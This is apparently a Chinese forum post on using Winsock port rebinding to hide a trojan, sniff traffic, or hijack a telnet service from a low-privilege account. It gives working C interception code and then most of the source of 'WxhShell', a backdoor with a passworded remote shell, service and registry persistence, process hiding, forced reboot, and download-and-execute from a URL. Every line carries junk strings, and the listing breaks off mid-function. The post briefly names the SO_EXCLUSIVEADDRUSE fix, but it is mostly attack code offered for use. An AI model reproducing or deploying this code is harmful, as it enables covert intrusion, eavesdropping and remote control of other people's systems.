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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -?%81 z.Qq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tew?e&eO  
-}:; EGUtd  
  saddr.sin_family = AF_INET; V)<Jj  
p#;I4d G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :}0>IPW-V  
; ,9:1.L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XSOSy2:  
,9~=yC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +V Oczl=  
HAKB@h)  
  这意味着什么?意味着可以进行如下的攻击: E! "N}v  
{f1iys'Om  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L*(Sh2=_  
H;w8[ImK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FHOF 6}if  
X iW~? *Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X\Gbs=sf6  
Gv\39+9 =  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i0q<,VSl$_  
lD9QS ;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0Ba*"/U]t~  
SB x<-^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ks19e>'5Q  
(pv6V2i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i U"2uLgb  
?Z(xu~^/  
  #include o$q})!  
  #include 7ILb&JQ!%{  
  #include [Fk|%;B/~  
  #include    r}nz )=\Cj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~8 S2BV3@  
  int main() (Q(=MEar  
  { 8*&|Q1`K:  
  WORD wVersionRequested; (/$a*$  
  DWORD ret; Bcl6n@{2f  
  WSADATA wsaData; g>*P}r~;^b  
  BOOL val; :q34KP  
  SOCKADDR_IN saddr; /< -+*79G  
  SOCKADDR_IN scaddr; M!4}B  
  int err; .o(S60iH!(  
  SOCKET s; D;! aix3  
  SOCKET sc; O&g$dK!Rad  
  int caddsize; 2%_UOEayU  
  HANDLE mt; +bdjZD3  
  DWORD tid;   L)"E_  
  wVersionRequested = MAKEWORD( 2, 2 ); JRr'81\  
  err = WSAStartup( wVersionRequested, &wsaData ); h?7@]&VJ  
  if ( err != 0 ) { NTV@,  
  printf("error!WSAStartup failed!\n"); 01w}8a(  
  return -1; 4{6XZ_J1  
  } nnZM{< !hF  
  saddr.sin_family = AF_INET; +/ U6p!  
   hM nJH_siY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 / LC!|-1E  
wA< Fw )  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O>,Rsj!e  
  saddr.sin_port = htons(23); $N/"c$50,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3)*Twqt  
  { ,V &RpKek  
  printf("error!socket failed!\n"); \Z8:^ct.P  
  return -1; (|dN6M-.K  
  } HDQH7Bs  
  val = TRUE;  ovsI2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #`qP7E w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -'Oq.$Qq  
  { N$! Vm(S  
  printf("error!setsockopt failed!\n"); q?$<{Z"  
  return -1;  j|owU  
  } \O=t5yS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1X-fiQJe  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @+&QNI06S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A(1d q  
<IwfiI3y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  % Z-B{I(  
  { =bh.V@*  
  ret=GetLastError(); o 2_mcJ  
  printf("error!bind failed!\n"); "t&_!Rm  
  return -1; iM_Zn!|@\  
  } :O9i:Xq[QW  
  listen(s,2); 9B9:lR  
  while(1) 'Ivr =-  
  { Yq0jw&v  
  caddsize = sizeof(scaddr); $.KD nl^  
  //接受连接请求 4fL/,j/^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `VXC*A   
  if(sc!=INVALID_SOCKET) 7-j=he/  
  { Om5+j:YM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZIp"X  
  if(mt==NULL) z;1qYW[-A  
  { 8)V6yKGO  
  printf("Thread Creat Failed!\n"); ss'`[QhR2  
  break; js F96X{  
  } JAU:Wqlg1  
  } bR}=bp4K  
  CloseHandle(mt); f0ME$:2  
  } E-i <^&E  
  closesocket(s); LWIPq"  
  WSACleanup(); hZ~ \Z S7  
  return 0; j6#RV@ p`  
  }   Rdl^-\BV  
  DWORD WINAPI ClientThread(LPVOID lpParam) v~KgCLo  
  { l g43  
  SOCKET ss = (SOCKET)lpParam; w ;]~2$  
  SOCKET sc; ] :n! \G  
  unsigned char buf[4096]; !A=>B=.|D  
  SOCKADDR_IN saddr; <~iA{sY)O  
  long num; -iySU 6  
  DWORD val; vJfj1 f  
  DWORD ret; m$H(l4wB>  
  //如果是隐藏端口应用的话,可以在此处加一些判断  IA{I|g<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2 `nOYK  
  saddr.sin_family = AF_INET; -J(93@X 9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Ej&zh  
  saddr.sin_port = htons(23); bFwc>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5o2|QL  
  { ,%U'>F?  
  printf("error!socket failed!\n"); Xw]L'+V=  
  return -1; .TKKjS%8  
  } :GN7JxD#  
  val = 100; +?y9EZB%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yGX"1Fb?;x  
  { X.FFBKjf[e  
  ret = GetLastError(); rF)[ Sed:T  
  return -1; 1%k$9[!l%  
  } [.LbX`K:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n81z 0lnr  
  { (C60HbL  
  ret = GetLastError(); zMbz_22*  
  return -1; U9%#(T$  
  } /8"9 sf *  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NTy0NH  
  { |^T?5=&Kt  
  printf("error!socket connect failed!\n"); $^louas&  
  closesocket(sc); +Q!  
  closesocket(ss); Jwe9L^gL  
  return -1; KV]8o'  
  } /><+[\q4LM  
  while(1) {n-6e[  
  { MNV OloA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 THf*<|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \%$z!]S>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6rg?0\A<  
  num = recv(ss,buf,4096,0); KQ2jeJ/pj  
  if(num>0) '.1_anE]  
  send(sc,buf,num,0); ~"8)9&  
  else if(num==0) >'e(|P4  
  break; * v W#XDx  
  num = recv(sc,buf,4096,0); V7q-Pfh!y  
  if(num>0) g!.k>  
  send(ss,buf,num,0); |}2X|4&X  
  else if(num==0) HZEDr}RN  
  break; 1@ .Eh8y  
  } `&!J6)OJ  
  closesocket(ss); JsyLWv@6xa  
  closesocket(sc); BZ"+ ND9m_  
  return 0 ; 1PnWgu  
  } 61=D&lb  
-1<*mbb0  
6y}|IhX?z  
========================================================== 7<7 /NZ<I  
2SlOqH1  
下边附上一个代码,,WXhSHELL Z0Df~ @  
UCL aCt -  
========================================================== cr"AK"TQ  
9Bw.Ih[Z  
#include "stdafx.h" xji2#S%  
#0gwN2Nv"L  
#include <stdio.h> kSq1Q#Bxq  
#include <string.h> 5fDnr&DR  
#include <windows.h> 7-`iI(N<  
#include <winsock2.h> _5JwJcQ  
#include <winsvc.h> 9>1Gj-S2:  
#include <urlmon.h> 5*IfI+}  
+ht{ARX2(  
#pragma comment (lib, "Ws2_32.lib") `D9AtN] R  
#pragma comment (lib, "urlmon.lib") m[%*O#_  
rA6lyzJ  
#define MAX_USER   100 // 最大客户端连接数 A0`#n|(Ad!  
#define BUF_SOCK   200 // sock buffer }J-+^  
#define KEY_BUFF   255 // 输入 buffer w|0w<K  
wU1h(D2&h  
#define REBOOT     0   // 重启 )%D>U  
#define SHUTDOWN   1   // 关机 76j5  
M->$ 'Zgh`  
#define DEF_PORT   5000 // 监听端口 M^3pJ=;5  
mH\eJ  
#define REG_LEN     16   // 注册表键长度 LH]<+Zren  
#define SVC_LEN     80   // NT服务名长度 iw)^; 8q  
}vspjplk^  
// 从dll定义API %jnSJjcq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); csNB  \  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;Uv/#"r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yo@S.7[/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U-0A}@N  
^;=L|{Xl  
// wxhshell配置信息 Z[pMlg6Z  
struct WSCFG { ~L7@,d:  
  int ws_port;         // 监听端口 WjVj@oC  
  char ws_passstr[REG_LEN]; // 口令 mf\eg`'4?  
  int ws_autoins;       // 安装标记, 1=yes 0=no GfMCHs   
  char ws_regname[REG_LEN]; // 注册表键名 TqN4OkCm/  
  char ws_svcname[REG_LEN]; // 服务名 Z<^TO1xs9B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6 7{>x[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eg$y,Tx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `7mRUDz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k}h\RCy%f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k;W`6:Kjp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  a }m>  
n%Df6zQ<@s  
}; l6O8:XI  
~.H*"  
// default Wxhshell configuration |A0)-sVZ  
struct WSCFG wscfg={DEF_PORT, 8BgHoQ*  
    "xuhuanlingzhe", oR_qAb  
    1, 1QPS=;|)  
    "Wxhshell", CW9vC  
    "Wxhshell", W$bQS!7y  
            "WxhShell Service", H$o=kQN  
    "Wrsky Windows CmdShell Service", {Z^  G]@  
    "Please Input Your Password: ", [;n/|/m,  
  1, r(Vz(  
  "http://www.wrsky.com/wxhshell.exe", m}oqs0xx  
  "Wxhshell.exe" GZ@`}7b}  
    }; ;ZVT[gi*  
yv2N5IQ>{V  
// 消息定义模块 ?cRGdLP'D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b!J%s   
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sl7x>=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZgD%*bH*B  
char *msg_ws_ext="\n\rExit."; swGp{wJ  
char *msg_ws_end="\n\rQuit."; ~?#B(t  
char *msg_ws_boot="\n\rReboot..."; +91j 1?  
char *msg_ws_poff="\n\rShutdown..."; VvSe`E*  
char *msg_ws_down="\n\rSave to "; *eLKD_D`!C  
X@ j.$0 eK  
char *msg_ws_err="\n\rErr!"; k6b0&il  
char *msg_ws_ok="\n\rOK!"; @V>BG8Y  
jFr[T  
char ExeFile[MAX_PATH]; d%wy@h  
int nUser = 0; bh&Wy<Y  
HANDLE handles[MAX_USER]; 8M,AFZ>F  
int OsIsNt; :psP|7%|  
?n0Z4 8%  
SERVICE_STATUS       serviceStatus; l1?$quM^V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `{GI^kgJ9  
^KRe(  
// 函数声明 _9<nM48+t  
int Install(void); 2b i:Q9  
int Uninstall(void); l}jC$B`5  
int DownloadFile(char *sURL, SOCKET wsh); yJRqX]MLA  
int Boot(int flag); PDi]zp9>H  
void HideProc(void); xB<^ar  
int GetOsVer(void); Jdc{H/10  
int Wxhshell(SOCKET wsl); NZW)$c'  
void TalkWithClient(void *cs); 9N@m><N84  
int CmdShell(SOCKET sock); 7kDqgod^A  
int StartFromService(void); 1](PuQm7+  
int StartWxhshell(LPSTR lpCmdLine); kQt#^pO)  
><Awk~KR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ](2\w9i%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^_rBEyz@  
Nm.G,6<J  
// 数据结构和表定义 yPXa  
SERVICE_TABLE_ENTRY DispatchTable[] = c`E0sgp  
{ YQ7\99tj  
{wscfg.ws_svcname, NTServiceMain}, P]mJ01@'  
{NULL, NULL} TEN~3 Ef#  
}; }gR!]Cs)^  
618k-  
// 自我安装 #q mv(VB4  
int Install(void) rY,zZR+@  
{ \)'5V!B|s  
  char svExeFile[MAX_PATH]; 9(AY7]6  
  HKEY key; `Hp=1a  
  strcpy(svExeFile,ExeFile);  gmW-#.  
3[Xc:;+/  
// 如果是win9x系统,修改注册表设为自启动 7]`l"=/z  
if(!OsIsNt) { JV`"kk/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uG){0%nX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qOs'Ljx6l  
  RegCloseKey(key); s,;7m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \0,8?S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aT_%G&.  
  RegCloseKey(key); w}WfQj  
  return 0; =v:}{~M^$  
    } 2K VX  
  } Mc@_[q!xY?  
} 6F8TiR&  
else { vi; yT.  
vKFEA7  
// 如果是NT以上系统,安装为系统服务 [fZhfZ)<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lK%)a +2  
if (schSCManager!=0) %F2T`?t:  
{ F6Ne?[b  
  SC_HANDLE schService = CreateService %)#yMMhR  
  ( e,D RQ2AU  
  schSCManager, 5I>a|I!j  
  wscfg.ws_svcname, dIq*"Ry+~  
  wscfg.ws_svcdisp, 3\2^LILLO  
  SERVICE_ALL_ACCESS, eZdFfmYW^R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9cXL4  
  SERVICE_AUTO_START, UpSa7F:Uw  
  SERVICE_ERROR_NORMAL, 'Y22HVUX  
  svExeFile, V M{Sng  
  NULL, JKY  
  NULL, L}UrI&]V$:  
  NULL, ]MmFtdvE  
  NULL, x,j%3/J^2  
  NULL <0btwsv}  
  ); dthtWnB@  
  if (schService!=0) 's\rQ-TV  
  { :2*0Jh3_  
  CloseServiceHandle(schService); @>q4hYF  
  CloseServiceHandle(schSCManager); -,qGEJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $[U:Dk}  
  strcat(svExeFile,wscfg.ws_svcname); 7TB&Q*Zf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cMoBYk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W_bA.z T{  
  RegCloseKey(key); XES$V15  
  return 0; 2= )V"lR\  
    } J 7HOSFwXn  
  } RHu4cK!5  
  CloseServiceHandle(schSCManager); RH^; M-'  
} WiqkC#N  
} >>T,M@s-:  
nU23D@l  
return 1; ?6V U4nK/*  
} ,E &W{b  
PnJA'@x  
// 自我卸载 !N74y%=M  
int Uninstall(void) f3SAK!V+s  
{ 8E|FFHNK<2  
  HKEY key; Bp/ k{7  
TeHxqWx  
if(!OsIsNt) { 4hWFgk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Exz(t'  
  RegDeleteValue(key,wscfg.ws_regname); "P!zu(h4  
  RegCloseKey(key); ekCt1^5Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p?#xd!tc2N  
  RegDeleteValue(key,wscfg.ws_regname); /xb37,   
  RegCloseKey(key); gJg%3K~,  
  return 0; I|tn7|*-A[  
  } S #C;"se  
} 50^CILKo7  
} 3^`.bm4 ^  
else { p]Q(Z  
asJt 6C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }w5`Oig[  
if (schSCManager!=0) 'e*:eBoyb  
{ 3A'9=h,lVK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fiQ/ &]|5  
  if (schService!=0) F-<c.0;6  
  { "Xj>dB1~  
  if(DeleteService(schService)!=0) { <ahcE1h  
  CloseServiceHandle(schService); ZW ZKyJQ  
  CloseServiceHandle(schSCManager); ^)1!TewCY  
  return 0; h{CMPJjD  
  } 8nTdZu  
  CloseServiceHandle(schService); bJB* w  
  } {W%/?d9m  
  CloseServiceHandle(schSCManager); Wl{wY,u  
} :o_6  
} ~-BIU Z;  
mU;\,96#  
return 1; tRXR/;3O  
} 2l}3L  
0c]3 ,#  
// 从指定url下载文件 $Hal]  
int DownloadFile(char *sURL, SOCKET wsh) ;|.IUXEgcF  
{ V&>mD"~MP  
  HRESULT hr; , R $ZZ4  
char seps[]= "/"; 7Yly^  
char *token; /S`d?AV  
char *file; e[%g'}D:-  
char myURL[MAX_PATH]; {3G2-$yb  
char myFILE[MAX_PATH]; }O8#4-E_Ji  
Os)}kkja  
strcpy(myURL,sURL); D1~3 3;  
  token=strtok(myURL,seps); a*?,wmzl  
  while(token!=NULL) =aRE  
  { 4fau 9bW  
    file=token; 29k\}m7l<*  
  token=strtok(NULL,seps); JDm7iJxc_  
  } UP@-@syGw  
g({dD;  
GetCurrentDirectory(MAX_PATH,myFILE); +$D~?sk  
strcat(myFILE, "\\"); f/]g@/`  
strcat(myFILE, file); +"D*0gYD  
  send(wsh,myFILE,strlen(myFILE),0); sRSy++FRF  
send(wsh,"...",3,0); *_tJ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N}7tjk   
  if(hr==S_OK) 22"/|S  
return 0; u|8yV.=R  
else (Q6}N'T  
return 1; LE@`TPg$R  
QiQO>r  
} ]`}R,'P  
3QD##Wr^  
// 系统电源模块 $jNp-5+Q;  
int Boot(int flag) n##d!d|g  
{ |d=MX>i|G  
  HANDLE hToken; APY*SeI V  
  TOKEN_PRIVILEGES tkp; ~ H $q  
Uv(Uj3D  
  if(OsIsNt) {  ^6Y:9+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2Ls  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \7A6+[ `fa  
    tkp.PrivilegeCount = 1; roE*8:Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5mF"nY&lI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IQQWp@w#8  
if(flag==REBOOT) { "P {T]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F<N{ x^  
  return 0; I:,D:00+  
} ypsT: uLT  
else { #ZPy&GIr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) or..e  
  return 0; \k)(:[^FY  
} |csR"DOqz  
  } mdPEF)-  
  else { PV/S zfvIq  
if(flag==REBOOT) { Mwd(?o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o;2QZ"v  
  return 0; M}BqSzd*  
} 5b-: e? |  
else { m\?H < o0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jp]eFaqp  
  return 0; 7cMSJM(]G  
} :Vx5%4J  
} 7!-y72qx  
J\x.:=V  
return 1; WZJ}HHePr  
} -VlXZj@u+  
isR|K9qf^  
// win9x进程隐藏模块 tN:PWj5  
void HideProc(void) nnPY8pdjSD  
{ T?'Vb  
o$-!E(p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XB'PEvh8  
  if ( hKernel != NULL ) by8~'?  
  { 6_h'0~3?`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O6$d@r;EK]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NM_Xy<.~E  
    FreeLibrary(hKernel); 9 WhZ= Xk  
  } {@w!kl~8  
G@Y!*ZH*f  
return; I,d5Y3mC  
} e4/Y/:vFO  
5T4!' 4n  
// 获取操作系统版本 E T 2@dY~  
int GetOsVer(void) {`M 'ruy.%  
{ !*@sX7H  
  OSVERSIONINFO winfo; xf]_@T;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;}k9YlQrN  
  GetVersionEx(&winfo); 8e3I@mv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -r!sY+Z>  
  return 1; 8Cw+<A*  
  else U%nLo[k  
  return 0; u+Q<> >lU  
} Wy`ve~y  
:AM5EO  
// 客户端句柄模块 @?r[ $Ea1M  
int Wxhshell(SOCKET wsl) >l3iAy!sZ  
{ j6_tFJT  
  SOCKET wsh; aEW sru  
  struct sockaddr_in client; 5p7?e3  
  DWORD myID; $06[D91'  
%}=:gF  
  while(nUser<MAX_USER) _pS |bqF  
{ W dNOE;R  
  int nSize=sizeof(client); ,_(AiQK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8A ;)5!  
  if(wsh==INVALID_SOCKET) return 1; _`(WX;sK  
K-CF5i:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C[xY 0<^B  
if(handles[nUser]==0) *P.Dbb8vn  
  closesocket(wsh); !ENDQ?1  
else M#7w54~b?M  
  nUser++; kZ>Xl- LV  
  } $|V@3`0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?\.aq p1B  
/:OSql5K*<  
  return 0; Z.D O 2=+=  
} TppuEC>  
fT.GYvt`  
// 关闭 socket ]'iOV-2^'  
void CloseIt(SOCKET wsh) exHg<18WSe  
{ y]e[fZ`L  
closesocket(wsh); R ]! [h  
nUser--; -)p S\$GC  
ExitThread(0); rV0X*[]J>  
} L H8iHB  
;0c -+,  
// 客户端请求句柄 [, )G\  
void TalkWithClient(void *cs) V|n}v?f_q  
{ ?8GggJC  
p&nPzZQL(  
  SOCKET wsh=(SOCKET)cs; ;"K;D@xzh]  
  char pwd[SVC_LEN]; %7y8a`}  
  char cmd[KEY_BUFF]; zG. \xmp  
char chr[1]; /)<x<7FKW  
int i,j; ^I CSs]}1  
Y%1 94fY$  
  while (nUser < MAX_USER) { -0>gq$/N=^  
+338z<'Z!  
if(wscfg.ws_passstr) { 4{rqGC /  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !F|#TETrt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $%P?2g"j,  
  //ZeroMemory(pwd,KEY_BUFF); 1R+/T  
      i=0; fZ5zsm'N  
  while(i<SVC_LEN) { 8h%oJ4da   
4Nun-(q  
  // 设置超时 _ / >JM0  
  fd_set FdRead; 6B=: P3Y  
  struct timeval TimeOut; h7"c_=w+  
  FD_ZERO(&FdRead); -/'_XR@1  
  FD_SET(wsh,&FdRead); <(c_[o/  
  TimeOut.tv_sec=8; 5mYX#//:  
  TimeOut.tv_usec=0; iX|K4.Pz{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lPaTkZw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;[-TsX:  
NtfzAz/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aVvma=  
  pwd=chr[0]; Id}/(Pkq  
  if(chr[0]==0xd || chr[0]==0xa) { {gkzo3  
  pwd=0; EQTJ=\WFF  
  break; 6^l|/\Y{  
  } ?-Zl(uX  
  i++;  J^V}%N".  
    } s ]XZQr%  
/ :z<+SCh  
  // 如果是非法用户,关闭 socket $&~moAl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2t,N9@u=UN  
} Kt#_Ln_6  
SYE+A`a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rLpfybu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N xW Dw  
ki6L t  
while(1) { YEPQ/Pc  
zo| '  
  ZeroMemory(cmd,KEY_BUFF); /Bw <?:  
q)j_QbW)  
      // 自动支持客户端 telnet标准   TKe\Bi  
  j=0; mfqnRPZ  
  while(j<KEY_BUFF) { $-MVsa9>I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BICG@  
  cmd[j]=chr[0]; .mbqsb]&Y  
  if(chr[0]==0xa || chr[0]==0xd) { Ls` [7w  
  cmd[j]=0; 0H/)wy2ym  
  break; d@XXqCR<  
  } J yO2P  
  j++; ) UCc!  
    } Iz^vt#b  
J6I:UML  
  // 下载文件 [} zzG@g,J  
  if(strstr(cmd,"http://")) { kz\Ss|jl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \47djmG-  
  if(DownloadFile(cmd,wsh)) lHUd<kEC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lz7?Z  
  else }6_*i!68"U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lc#GBaJ  
  } 2{Y~jYt{h  
  else { z?^oy.  
re~T,PPM  
    switch(cmd[0]) { ZfMs6`Wv 1  
  KTq+JT u  
  // 帮助 k5%W8dI  
  case '?': { B[,AR"#b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BPuum  
    break; \i'Z(1  
  } R*=88ds  
  // 安装 k-Yli21-/|  
  case 'i': { 'eo/"~/*w  
    if(Install()) ; ,}Dh/&E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z%Fc -KVt  
    else 3_ly"\I\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "ze-Mb  
    break; ,v%' 2[}  
    } @y'0_Y0-B  
  // 卸载 u4h0s1iI  
  case 'r': { ^)y8X.iO  
    if(Uninstall()) Y b=77(Q V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3=Q:{  
    else =%B5TBG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6_s(Kx>j  
    break; |M&4[ka}  
    } N; '] &f  
  // 显示 wxhshell 所在路径 p|C[T]J\@  
  case 'p': { fX.1=BjXi  
    char svExeFile[MAX_PATH];  k^Q.lb {  
    strcpy(svExeFile,"\n\r"); ^TtL-|I  
      strcat(svExeFile,ExeFile); 3vs{*T"  
        send(wsh,svExeFile,strlen(svExeFile),0); 0|Xz-Y  
    break; N=PSr4  
    } EE^x34&=  
  // 重启 kuI~lBWI  
  case 'b': { `a%MD>R_Lg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?P}bl_  
    if(Boot(REBOOT)) >%ovL8F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q;}iW:r&Q  
    else { \_  V*Cs  
    closesocket(wsh); _u+ 7>  
    ExitThread(0); Mj{w/'  
